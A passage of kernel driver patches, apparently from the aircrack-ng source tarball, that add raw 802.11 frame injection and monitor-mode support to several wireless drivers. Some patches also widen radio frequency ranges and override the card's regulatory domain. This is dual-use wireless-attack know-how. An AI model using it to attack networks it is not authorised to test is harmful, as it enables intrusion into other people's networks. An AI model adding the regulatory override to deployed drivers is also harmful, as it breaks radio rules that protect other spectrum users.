memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t)); - - /* if we're using host WEP, increase size by IV+ICV */ - if (p80211_wep->data) { - hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); - // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); - usbpktlen+=8; - } else { - hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); +// /* copy the header over to the txdesc */ +// memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t)); + if (skb->protocol != htons(ETH_P_80211_RAW)) { + hw->txbuff.txfrm.desc.tx_control = + host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); + + /* copy the header over to the txdesc */ + memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, + sizeof(p80211_hdr_t)); + + /* if we're using host WEP, increase size by IV+ICV */ + if (p80211_wep->data) { + hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); + // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + usbpktlen+=8; + } else { + hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + } + } else { + /* KoreK: raw injection (monitor mode): pull the rest of + the header and ssanity check on txdesc.data_len */ + memcpy(&(hw->txbuff.txfrm.desc.data_len), skb->data, 16); + skb_pull(skb,16); + if (hw->txbuff.txfrm.desc.data_len != host2hfa384x_16(skb->len)) { + printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); + return 0; + } +// /* if we're using host WEP, increase size by IV+ICV */ +// if (p80211_wep->data) { +// hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); +// // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); +// usbpktlen+=8; +// } else { +// hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); + hw->txbuff.txfrm.desc.tx_control = + host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); + + /* copy the header over to the txdesc */ + memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, + sizeof(p80211_hdr_t)); } usbpktlen += skb->len; /* copy over the WEP IV if we are using host WEP */ ptr = hw->txbuff.txfrm.data; - if (p80211_wep->data) { +// if (p80211_wep->data) { + if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { memcpy(ptr, p80211_wep->iv, sizeof(p80211_wep->iv)); ptr+= sizeof(p80211_wep->iv); memcpy(ptr, p80211_wep->data, skb->len); } else { memcpy(ptr, skb->data, skb->len); } + /* copy over the packet data */ ptr+= skb->len; /* copy over the WEP ICV if we are using host WEP */ - if (p80211_wep->data) { +// if (p80211_wep->data) { + if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { memcpy(ptr, p80211_wep->icv, sizeof(p80211_wep->icv)); } @@ -4223,6 +4266,17 @@ switch( HFA384x_RXSTATUS_MACPORT_GET(usbin->rxfrm.desc.status) ) { case 0: + /* KoreK: this testmode uses macport 0 */ + if ((wlandev->netdev->type == ARPHRD_IEEE80211) || + (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { + if ( ! HFA384x_RXSTATUS_ISFCSERR(usbin->rxfrm.desc.status) ) { + hfa384x_int_rxmonitor(wlandev, &usbin->rxfrm); + } else { + WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); + } + goto done; + } + fc = ieee2host16(usbin->rxfrm.desc.frame_control); /* If exclude and we receive an unencrypted, drop it */ diff -Naur linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/p80211netdev.c linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/p80211netdev.c --- linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/p80211netdev.c 2008-12-24 18:26:37.000000000 -0500 +++ linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/p80211netdev.c 2009-04-04 22:42:15.000000000 -0400 @@ -512,7 +512,7 @@ * and return success . * TODO: we need a saner way to handle this */ - if(skb->protocol != ETH_P_80211_RAW) { + if(skb->protocol != htons(ETH_P_80211_RAW)) { p80211netdev_start_queue(wlandev); WLAN_LOG_NOTICE( "Tx attempt prior to association, frame dropped.\n"); @@ -524,7 +524,7 @@ } /* Check for raw transmits */ - if(skb->protocol == ETH_P_80211_RAW) { + if(skb->protocol == htons(ETH_P_80211_RAW)) { if (!capable(CAP_NET_ADMIN)) { result = 1; goto failed; @@ -952,8 +952,9 @@ dev->set_mac_address = p80211knetdev_set_mac_address; #endif #ifdef HAVE_TX_TIMEOUT - dev->tx_timeout = &p80211knetdev_tx_timeout; - dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; +// korek: still not implemented (XXX: Why exactly do we remove this???) +// dev->tx_timeout = &p80211knetdev_tx_timeout; +// dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; #endif netif_carrier_off(dev); } diff -Naur linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/prism2mgmt.c linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/prism2mgmt.c --- linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/prism2mgmt.c 2008-12-24 18:26:37.000000000 -0500 +++ linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/prism2mgmt.c 2009-04-04 23:18:35.000000000 -0400 @@ -2860,9 +2860,12 @@ } /* Now if we're already sniffing, we can skip the rest */ - if (wlandev->netdev->type != ARPHRD_ETHER) { +// if (wlandev->netdev->type != ARPHRD_ETHER) { + if ((wlandev->netdev->type != ARPHRD_IEEE80211) && + (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { /* Set the port type to pIbss */ - word = HFA384x_PORTTYPE_PSUEDOIBSS; +// word = HFA384x_PORTTYPE_PSUEDOIBSS; + word = 5; // HFA384x_PORTTYPE_PSUEDOIBSS; result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFPORTTYPE, word); if ( result ) { @@ -2874,6 +2877,8 @@ } if ((msg->keepwepflags.status == P80211ENUM_msgitem_status_data_ok) && (msg->keepwepflags.data != P80211ENUM_truth_true)) { /* Set the wepflags for no decryption */ + /* doesn't work - done from the CLI */ + /* Fix? KoreK */ word = HFA384x_WEPFLAGS_DISABLE_TXCRYPT | HFA384x_WEPFLAGS_DISABLE_RXCRYPT; result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFWEPFLAGS, word); @@ -2919,7 +2924,9 @@ goto failed; } - if (wlandev->netdev->type == ARPHRD_ETHER) { +// if (wlandev->netdev->type == ARPHRD_ETHER) { + if ((wlandev->netdev->type != ARPHRD_IEEE80211) && + (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { WLAN_LOG_INFO("monitor mode enabled\n"); } diff -Naur linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/prism2sta.c linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/prism2sta.c --- linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/prism2sta.c 2008-12-24 18:26:37.000000000 -0500 +++ linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/prism2sta.c 2009-04-04 23:20:58.000000000 -0400 @@ -411,7 +411,9 @@ DBFENTER; /* If necessary, set the 802.11 WEP bit */ - if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) { +// if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) { + if (((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) + && (skb->protocol != htons(ETH_P_80211_RAW))) { p80211_hdr->a3.fc |= host2ieee16(WLAN_SET_FC_ISWEP(1)); } aircrack-ng-1.2-rc4/patches/b43-injection-2.6.26-rc8-wl.patch0000644000000000000000000000362511031533734021612 0ustar rootrootdiff --git a/drivers/net/wireless/b43/xmit.c b/drivers/net/wireless/b43/xmit.c index bf6f6c1..735f2d0 100644 --- a/drivers/net/wireless/b43/xmit.c +++ b/drivers/net/wireless/b43/xmit.c @@ -315,9 +315,15 @@ int b43_generate_txhdr(struct b43_wldev *dev, } /* MAC control */ - if (!(info->flags & IEEE80211_TX_CTL_NO_ACK)) + /* dev->wl->if_type returns IEEE80211_IF_TYPE_INVALID instead of + * IEEE80211_IF_TYPE_MNTR for monitor interfaces, as monitor mode + * is not considered "operating" by mac80211. + */ + if (dev->wl->if_type != 5 && dev->wl->if_type != 0 && + !(info->flags & IEEE80211_TX_CTL_NO_ACK)) mac_ctl |= B43_TXH_MAC_ACK; - if (!ieee80211_is_pspoll(fctl)) + if (dev->wl->if_type != 5 && dev->wl->if_type != 0 && + !ieee80211_is_pspoll(fctl)) mac_ctl |= B43_TXH_MAC_HWSEQ; if (info->flags & IEEE80211_TX_CTL_FIRST_FRAGMENT) mac_ctl |= B43_TXH_MAC_STMSDU; diff --git a/drivers/net/wireless/b43legacy/xmit.c b/drivers/net/wireless/b43legacy/xmit.c index a354078..d4d6e61 100644 --- a/drivers/net/wireless/b43legacy/xmit.c +++ b/drivers/net/wireless/b43legacy/xmit.c @@ -293,9 +293,15 @@ static int generate_txhdr_fw3(struct b43legacy_wldev *dev, } /* MAC control */ - if (!(info->flags & IEEE80211_TX_CTL_NO_ACK)) + /* dev->wl->if_type returns IEEE80211_IF_TYPE_INVALID instead of + * IEEE80211_IF_TYPE_MNTR for monitor interfaces, as monitor mode + * is not considered "operating" by mac80211. + */ + if (dev->wl->if_type != 5 && dev->wl->if_type != 0 && + !(info->flags & IEEE80211_TX_CTL_NO_ACK)) mac_ctl |= B43legacy_TX4_MAC_ACK; - if (!(((fctl & IEEE80211_FCTL_FTYPE) == IEEE80211_FTYPE_CTL) && + if (dev->wl->if_type != 5 && dev->wl->if_type != 0 && + !(((fctl & IEEE80211_FCTL_FTYPE) == IEEE80211_FTYPE_CTL) && ((fctl & IEEE80211_FCTL_STYPE) == IEEE80211_STYPE_PSPOLL))) mac_ctl |= B43legacy_TX4_MAC_HWSEQ; if (info->flags & IEEE80211_TX_CTL_FIRST_FRAGMENT) aircrack-ng-1.2-rc4/patches/b43-injection-2.6.26-wl.patch0000644000000000000000000000367011040156044021113 0ustar rootrootdiff --git a/drivers/net/wireless/b43/xmit.c b/drivers/net/wireless/b43/xmit.c index 8d54502..3e0e088 100644 --- a/drivers/net/wireless/b43/xmit.c +++ b/drivers/net/wireless/b43/xmit.c @@ -315,10 +315,16 @@ int b43_generate_txhdr(struct b43_wldev *dev, } /* MAC control */ - if (!(info->flags & IEEE80211_TX_CTL_NO_ACK)) + /* dev->wl->if_type returns IEEE80211_IF_TYPE_INVALID instead of + * IEEE80211_IF_TYPE_MNTR for monitor interfaces, as monitor mode + * is not considered "operating" by mac80211. + */ + if (dev->wl->if_type != 5 && dev->wl->if_type != 0 && + !(info->flags & IEEE80211_TX_CTL_NO_ACK)) mac_ctl |= B43_TXH_MAC_ACK; /* use hardware sequence counter as the non-TID counter */ - if (info->flags & IEEE80211_TX_CTL_ASSIGN_SEQ) + if (dev->wl->if_type != 5 && dev->wl->if_type != 0 && + info->flags & IEEE80211_TX_CTL_ASSIGN_SEQ) mac_ctl |= B43_TXH_MAC_HWSEQ; if (info->flags & IEEE80211_TX_CTL_FIRST_FRAGMENT) mac_ctl |= B43_TXH_MAC_STMSDU; diff --git a/drivers/net/wireless/b43legacy/xmit.c b/drivers/net/wireless/b43legacy/xmit.c index e969ed8..c19409e 100644 --- a/drivers/net/wireless/b43legacy/xmit.c +++ b/drivers/net/wireless/b43legacy/xmit.c @@ -293,9 +293,15 @@ static int generate_txhdr_fw3(struct b43legacy_wldev *dev, } /* MAC control */ - if (!(info->flags & IEEE80211_TX_CTL_NO_ACK)) + /* dev->wl->if_type returns IEEE80211_IF_TYPE_INVALID instead of + * IEEE80211_IF_TYPE_MNTR for monitor interfaces, as monitor mode + * is not considered "operating" by mac80211. + */ + if (dev->wl->if_type != 5 && dev->wl->if_type != 0 && + !(info->flags & IEEE80211_TX_CTL_NO_ACK)) mac_ctl |= B43legacy_TX4_MAC_ACK; - if (info->flags & IEEE80211_TX_CTL_ASSIGN_SEQ) + if (dev->wl->if_type != 5 && dev->wl->if_type != 0 && + info->flags & IEEE80211_TX_CTL_ASSIGN_SEQ) mac_ctl |= B43legacy_TX4_MAC_HWSEQ; if (info->flags & IEEE80211_TX_CTL_FIRST_FRAGMENT) mac_ctl |= B43legacy_TX4_MAC_STMSDU; aircrack-ng-1.2-rc4/patches/zd1211rw-inject+dbi-fix-3.7.4.patch0000644000000000000000000000367212103567066022141 0ustar rootrootdiff -Naur linux/drivers/net/wireless/zd1211rw/zd_mac.c zdpats/drivers/net/wireless/zd1211rw/zd_mac.c --- linux/drivers/net/wireless/zd1211rw/zd_mac.c 2011-05-19 06:06:34.000000000 +0200 +++ zdpats/drivers/net/wireless/zd1211rw/zd_mac.c 2011-06-25 17:46:33.146013429 +0200 @@ -227,14 +227,19 @@ static int set_rx_filter(struct zd_mac *mac) { unsigned long flags; - u32 filter = STA_RX_FILTER; + struct zd_ioreq32 ioreqs[] = { + {CR_RX_FILTER, STA_RX_FILTER}, + { CR_SNIFFER_ON, 0U }, + }; spin_lock_irqsave(&mac->lock, flags); - if (mac->pass_ctrl) - filter |= RX_FILTER_CTRL; + if (mac->pass_ctrl) { + ioreqs[0].value |= 0xFFFFFFFF; + ioreqs[1].value = 0x1; + } spin_unlock_irqrestore(&mac->lock, flags); - return zd_iowrite32(&mac->chip, CR_RX_FILTER, filter); + return zd_iowrite32a(&mac->chip, ioreqs, ARRAY_SIZE(ioreqs)); } static int set_mac_and_bssid(struct zd_mac *mac) @@ -970,7 +975,8 @@ /* Caller has to ensure that length >= sizeof(struct rx_status). */ status = (struct rx_status *) (buffer + (length - sizeof(struct rx_status))); - if (status->frame_status & ZD_RX_ERROR) { + if ((status->frame_status & ZD_RX_ERROR) || + (status->frame_status & ~0x21)) { if (mac->pass_failed_fcs && (status->frame_status & ZD_RX_CRC32_ERROR)) { stats.flag |= RX_FLAG_FAILED_FCS_CRC; @@ -983,7 +989,8 @@ stats.freq = zd_channels[_zd_chip_get_channel(&mac->chip) - 1].center_freq; stats.band = IEEE80211_BAND_2GHZ; stats.signal = zd_check_signal(hw, status->signal_strength); - + stats.signal = stats.signal - 90; + rate = zd_rx_rate(buffer, status); /* todo: return index in the big switches in zd_rx_rate instead */ @@ -1312,7 +1319,7 @@ hw->wiphy->bands[IEEE80211_BAND_2GHZ] = &mac->band; hw->flags = IEEE80211_HW_RX_INCLUDES_FCS | - IEEE80211_HW_SIGNAL_UNSPEC | + IEEE80211_HW_SIGNAL_DBM | IEEE80211_HW_HOST_BROADCAST_PS_BUFFERING | IEEE80211_HW_MFP_CAPABLE; hw->wiphy->interface_modes = aircrack-ng-1.2-rc4/patches/ipw2200-1.1.4-inject.patch0000644000000000000000000000575711526071234020424 0ustar rootrootdiff -ur ipw2200-1.1.4/ipw2200.c ipw2200-1.1.4-inject/ipw2200.c --- ipw2200-1.1.4/ipw2200.c 2006-08-21 04:38:32.000000000 +0200 +++ ipw2200-1.1.4-inject/ipw2200.c 2006-08-23 14:20:31.000000000 +0200 @@ -30,6 +30,8 @@ ******************************************************************************/ +#include + #include "ipw2200.h" @@ -1945,6 +1945,66 @@ static DEVICE_ATTR(net_stats, S_IWUSR | S_IRUGO, show_net_stats, store_net_stats); +static int ipw_tx_skb(struct ipw_priv *priv, struct ieee80211_txb *txb, int pri); + +/* SYSFS INJECT */ +static ssize_t store_inject(struct device *d, +#if LINUX_VERSION_CODE > KERNEL_VERSION(2,6,12) + struct device_attribute *attr, +#endif + const char *buf, size_t count) +{ + struct ipw_priv *priv = (struct ipw_priv *)d->driver_data; + struct ieee80211_device *ieee = priv->ieee; + struct ieee80211_txb * txb; + struct sk_buff *skb_frag; + unsigned char * newbuf; + unsigned long flags; + + // should test (ieee->is_queue_full) + + // Fw only accepts data, so avoid accidental fw errors. + if ( (buf[0]&0x0c) != '\x08') { + //printk("ipw2200: inject: discarding non-data frame (type=%02X)\n",(int)(unsigned char)buf[0]); + return count; + } + + if (count>1500) { + count=1500; + printk("ipw2200: inject: cutting down frame to 1500 bytes\n"); + } + + spin_lock_irqsave(&priv->lock, flags); + + // Create a txb with one skb + txb = kmalloc(sizeof(struct ieee80211_txb) + sizeof(u8 *), GFP_ATOMIC); + if (!txb) + goto nosepuede; + txb->nr_frags=1; + txb->frag_size = ieee->tx_headroom; + txb->fragments[0]=__dev_alloc_skb(count + ieee->tx_headroom, GFP_ATOMIC); + if (!txb->fragments[0]) { + kfree(txb); + goto nosepuede; + } + skb_reserve(txb->fragments[0], ieee->tx_headroom); + txb->encrypted=0; + txb->payload_size=count; + skb_frag = txb->fragments[0]; + newbuf=skb_put(skb_frag, count); + + // copy data into txb->skb and send it + memcpy(newbuf, buf, count); + + ipw_tx_skb(priv, txb, 0); + +nosepuede: + spin_unlock_irqrestore(&priv->lock, flags); + return count; +} + +static DEVICE_ATTR(inject, S_IWUSR, NULL, store_inject); + static void notify_wx_assoc_event(struct ipw_priv *priv) { union iwreq_data wrqu; @@ -11478,6 +11538,7 @@ #ifdef CONFIG_IPW2200_PROMISCUOUS &dev_attr_rtap_iface.attr, &dev_attr_rtap_filter.attr, + &dev_attr_inject.attr, #endif NULL }; diff -ur ipw2200-1.1.4/Makefile ipw2200-1.1.4-inject/Makefile --- ipw2200-1.1.4/Makefile 2006-08-21 04:38:29.000000000 +0200 +++ ipw2200-1.1.4-inject/Makefile 2006-08-23 14:22:06.000000000 +0200 @@ -30,14 +30,14 @@ # simply uncomment: # # NOTE: To use RADIOTAP you must also enable MONITOR above. -#CONFIG_IPW2200_RADIOTAP=y +CONFIG_IPW2200_RADIOTAP=y # The above monitor mode provides standard monitor mode. The following # will create a new interface (named rtap%d) which will be sent all # 802.11 frames received on the interface # # NOTE: To use PROMISCUOUS you must also enable MONITOR above. -#CONFIG_IPW2200_PROMISCUOUS=y +CONFIG_IPW2200_PROMISCUOUS=y endif aircrack-ng-1.2-rc4/patches/mac80211_2.6.27_frag+ack.patch0000644000000000000000000000110011125212333021053 0ustar rootrootdiff --git a/net/mac80211/tx.c b/net/mac80211/tx.c index 0855cac..221bed6 100644 --- a/net/mac80211/tx.c +++ b/net/mac80211/tx.c @@ -630,6 +630,13 @@ ieee80211_tx_h_sequence(struct ieee80211_tx_data *tx) int tid; /* only for injected frames */ + if (unlikely(info->flags & IEEE80211_TX_CTL_INJECTED) && + !(tx->sdata->u.mntr_flags & MONITOR_FLAG_COOK_FRAMES)) { + if (!ieee80211_has_morefrags(hdr->frame_control)) + info->flags |= IEEE80211_TX_CTL_NO_ACK; + return TX_CONTINUE; + } + if (unlikely(ieee80211_is_ctl(hdr->frame_control))) return TX_CONTINUE; aircrack-ng-1.2-rc4/patches/mac80211_2.6.26_frag.patch0000644000000000000000000000072511041670244020342 0ustar rootrootdiff --git a/net/mac80211/tx.c b/net/mac80211/tx.c index f35eaea..e5e8483 100644 --- a/net/mac80211/tx.c +++ b/net/mac80211/tx.c @@ -292,6 +292,9 @@ ieee80211_tx_h_sequence(struct ieee80211_tx_data *tx) { struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)tx->skb->data; + if (unlikely(tx->flags & IEEE80211_TX_INJECTED)) + return TX_CONTINUE; + if (ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_control)) >= 24) ieee80211_include_sequence(tx->sdata, hdr); aircrack-ng-1.2-rc4/patches/ath5k-frequency-chaos-2.6.28.patch0000644000000000000000000001323311143173567022244 0ustar rootrootdiff -Naur linux-2.6.28/drivers/net/wireless/ath5k/base.c linux-2.6.28-chaos/drivers/net/wireless/ath5k/base.c --- linux-2.6.28/drivers/net/wireless/ath5k/base.c 2008-12-24 18:26:37.000000000 -0500 +++ linux-2.6.28-chaos/drivers/net/wireless/ath5k/base.c 2009-02-06 21:38:43.000000000 -0500 @@ -272,7 +272,7 @@ static void ath5k_detach(struct pci_dev *pdev, struct ieee80211_hw *hw); /* Channel/mode setup */ -static inline short ath5k_ieee2mhz(short chan); +static inline short ath5k_ieee2mhz(int chan, unsigned int chfreq); static unsigned int ath5k_copy_channels(struct ath5k_hw *ah, struct ieee80211_channel *channels, unsigned int mode, @@ -848,12 +848,16 @@ * Convert IEEE channel number to MHz frequency. */ static inline short -ath5k_ieee2mhz(short chan) +ath5k_ieee2mhz(int chan, unsigned int chfreq) { - if (chan <= 14 || chan >= 27) - return ieee80211chan2mhz(chan); + if (chfreq == CHANNEL_5GHZ) + return (chan + 1000) * 5; else - return 2212 + chan * 20; +// XXX: This part needs to be fixed + if (chan <= 14 || chan >= 27) + return ieee80211chan2mhz(chan); + else + return 2212 + chan * 20; } static unsigned int @@ -862,22 +866,25 @@ unsigned int mode, unsigned int max) { - unsigned int i, count, size, chfreq, freq, ch; + unsigned int i, count, size, chfreq, freq; + int ch; if (!test_bit(mode, ah->ah_modes)) return 0; switch (mode) { + /* I don't even like channel numbers */ case AR5K_MODE_11A: case AR5K_MODE_11A_TURBO: - /* 1..220, but 2GHz frequencies are filtered by check_channel */ - size = 220 ; + size = 241 ; // going over 6.0GHz may be dangerous so I am limiting it + ch = -40; // might be able to push this to -201 or so, needs more testing chfreq = CHANNEL_5GHZ; break; case AR5K_MODE_11B: case AR5K_MODE_11G: case AR5K_MODE_11G_TURBO: - size = 26; + size = 70; + ch = -43; chfreq = CHANNEL_2GHZ; break; default: @@ -885,9 +892,8 @@ return 0; } - for (i = 0, count = 0; i < size && max > 0; i++) { - ch = i + 1 ; - freq = ath5k_ieee2mhz(ch); + for (i = 0, count = 0; i < size && max > 0; i++,ch++) { + freq = ath5k_ieee2mhz(ch,chfreq); /* Check if channel is supported by the chipset */ if (!ath5k_channel_ok(ah, freq, chfreq)) diff -Naur linux-2.6.28/drivers/net/wireless/ath5k/base.h linux-2.6.28-chaos/drivers/net/wireless/ath5k/base.h --- linux-2.6.28/drivers/net/wireless/ath5k/base.h 2008-12-24 18:26:37.000000000 -0500 +++ linux-2.6.28-chaos/drivers/net/wireless/ath5k/base.h 2009-02-06 21:38:43.000000000 -0500 @@ -93,11 +93,7 @@ }; -#if CHAN_DEBUG -#define ATH_CHAN_MAX (26+26+26+200+200) -#else -#define ATH_CHAN_MAX (14+14+14+252+20) -#endif +#define ATH_CHAN_MAX (70+70+70+240+240) // b+g+gT+a+aT XXX: This is probably excessive /* Software Carrier, keeps track of the driver state * associated with an instance of a device */ diff -Naur linux-2.6.28/drivers/net/wireless/ath5k/caps.c linux-2.6.28-chaos/drivers/net/wireless/ath5k/caps.c --- linux-2.6.28/drivers/net/wireless/ath5k/caps.c 2008-12-24 18:26:37.000000000 -0500 +++ linux-2.6.28-chaos/drivers/net/wireless/ath5k/caps.c 2009-02-06 21:38:43.000000000 -0500 @@ -69,9 +69,9 @@ if (AR5K_EEPROM_HDR_11A(ee_header)) { /* 4920 */ - ah->ah_capabilities.cap_range.range_5ghz_min = 5005; - ah->ah_capabilities.cap_range.range_5ghz_max = 6100; - + ah->ah_capabilities.cap_range.range_5ghz_min = 4800; + ah->ah_capabilities.cap_range.range_5ghz_max = 6000; /* 6100 is what the code said but */ + /* it fried my Ubiquiti SRC */ /* Set supported modes */ __set_bit(AR5K_MODE_11A, ah->ah_capabilities.cap_mode); @@ -87,7 +87,7 @@ if (AR5K_EEPROM_HDR_11B(ee_header) || AR5K_EEPROM_HDR_11G(ee_header)) { /* 2312 */ - ah->ah_capabilities.cap_range.range_2ghz_min = 2412; + ah->ah_capabilities.cap_range.range_2ghz_min = 2192; /* this is the bottom of the registers */ ah->ah_capabilities.cap_range.range_2ghz_max = 2732; if (AR5K_EEPROM_HDR_11B(ee_header)) diff -Naur linux-2.6.28/net/mac80211/tx.c linux-2.6.28-chaos/net/mac80211/tx.c --- linux-2.6.28/net/mac80211/tx.c 2008-12-24 18:26:37.000000000 -0500 +++ linux-2.6.28-chaos/net/mac80211/tx.c 2009-02-06 21:38:53.000000000 -0500 @@ -1378,10 +1378,32 @@ struct net_device *dev) { struct ieee80211_local *local = wdev_priv(dev->ieee80211_ptr); + struct ieee80211_channel *chan = local->hw.conf.channel; struct ieee80211_radiotap_header *prthdr = (struct ieee80211_radiotap_header *)skb->data; u16 len_rthdr; + /* + * Frame injection is not allowed if beaconing is not allowed + * or if we need radar detection. Beaconing is usually not allowed when + * the mode or operation (Adhoc, AP, Mesh) does not support DFS. + * Passive scan is also used in world regulatory domains where + * your country is not known and as such it should be treated as + * NO TX unless the channel is explicitly allowed in which case + * your current regulatory domain would not have the passive scan + * flag. + * + * Since AP mode uses monitor interfaces to inject/TX management + * frames we can make AP mode the exception to this rule once it + * supports radar detection as its implementation can deal with + * radar detection by itself. We can do that later by adding a + * monitor flag interfaces used for AP support. + */ + if ((chan->flags & (IEEE80211_CHAN_NO_IBSS | IEEE80211_CHAN_RADAR | + IEEE80211_CHAN_PASSIVE_SCAN))) + return TX_DROP; + /* This was intended for the kernel patch but it didn't work; goto fail; */ + /* check for not even having the fixed radiotap header part */ if (unlikely(skb->len < sizeof(struct ieee80211_radiotap_header))) goto fail; /* too short to be possibly valid */ aircrack-ng-1.2-rc4/patches/mac80211_2.6.28-rc4-wl_frag+ack_v2.patch0000644000000000000000000000204511107552102022603 0ustar rootrootdiff --git a/net/mac80211/tx.c b/net/mac80211/tx.c index 0855cac..221bed6 100644 --- a/net/mac80211/tx.c +++ b/net/mac80211/tx.c @@ -611,11 +611,19 @@ ieee80211_tx_h_sequence(struct ieee80211_tx_data *tx) /* * Packet injection may want to control the sequence - * number, if we have no matching interface then we - * neither assign one ourselves nor ask the driver to. + * number, so if an injected packet is found, skip + * renumbering it. Also make the packet NO_ACK to avoid + * excessive retries (ACKing and retrying should be + * handled by the injecting application). + * FIXME This may break hostapd and some other injectors. + * This should be done using a radiotap flag. */ - if (unlikely(!info->control.vif)) + if (unlikely(info->flags & IEEE80211_TX_CTL_INJECTED) && + !(tx->sdata->u.mntr_flags & MONITOR_FLAG_COOK_FRAMES)) { + if (!ieee80211_has_morefrags(hdr->frame_control)) + info->flags |= IEEE80211_TX_CTL_NO_ACK; return TX_CONTINUE; + } if (unlikely(ieee80211_is_ctl(hdr->frame_control))) return TX_CONTINUE; aircrack-ng-1.2-rc4/patches/ath9k_regdomain_override.patch0000644000000000000000000000276011324503527022344 0ustar rootrootPaulFertser> Get _your_ country code from regd.h, add 32768 and supply as a parameter. fercerpav@gmail.com --- linux-2.6.32-gentoo-r1-orig/drivers/net/wireless/ath/ath9k/main.c 2009-12-03 06:51:21.000000000 +0300 +++ linux-2.6.32-gentoo-r1/drivers/net/wireless/ath/ath9k/main.c 2010-01-16 02:04:00.000000000 +0300 @@ -28,6 +28,11 @@ module_param_named(nohwcrypt, modparam_nohwcrypt, int, 0444); MODULE_PARM_DESC(nohwcrypt, "Disable hardware encryption"); +static int modparam_override_eeprom_regdomain = -1; +module_param_named(override_eeprom_regdomain, + modparam_override_eeprom_regdomain, int, S_IRUGO); +MODULE_PARM_DESC(override_eeprom_regdomain, "Override regdomain hardcoded in EEPROM with this value (DANGEROUS)."); + /* We use the hw_value as an index into our private channel structure */ #define CHAN2G(_freq, _idx) { \ @@ -1588,6 +1593,14 @@ if (error != 0) return error; + if (modparam_override_eeprom_regdomain != -1) { + printk(KERN_ERR "ath9k: DANGER! You're overriding EEPROM-defined regulatory domain.\n"); + printk(KERN_ERR "ath9k: Your card was not certified to operate on the domain you choosed.\n"); + printk(KERN_ERR "ath9k: This might result in a violation of your local regulatory rules.\n"); + printk(KERN_ERR "ath9k: Do not ever do that unless you really know what you do!\n"); + sc->common.regulatory.current_rd = modparam_override_eeprom_regdomain; + } + /* get mac address from hardware and set in mac80211 */ SET_IEEE80211_PERM_ADDR(hw, sc->sc_ah->macaddr); aircrack-ng-1.2-rc4/patches/rtl8187_2.6.32.patch0000644000000000000000000001141211335626102017330 0ustar rootrootdiff -udpr rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h rtl8187_linux_26.1010.0622.2006_2.6.32/beta-8187/r8187.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h 2010-01-31 11:32:06.000000000 -0500 +++ rtl8187_linux_26.1010.0622.2006_2.6.32/beta-8187/r8187.h 2010-01-31 09:28:57.000000000 -0500 @@ -43,12 +43,14 @@ #include #include #include -#include -#include #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#include #include #else +#include +#include #include #endif diff -udpr rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c rtl8187_linux_26.1010.0622.2006_2.6.32/beta-8187/r8187_core.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c 2010-01-31 11:32:05.000000000 -0500 +++ rtl8187_linux_26.1010.0622.2006_2.6.32/beta-8187/r8187_core.c 2010-01-31 11:15:27.000000000 -0500 @@ -1893,8 +1893,6 @@ short rtl8180_init(struct net_device *de DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - dev->get_stats = rtl8180_stats; - dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; @@ -2597,6 +2595,19 @@ void rtl8180_irq_rx_tasklet(struct r8180 ---------------------------- USB_STUFF--------------------------- *****************************************************************************/ +#ifdef 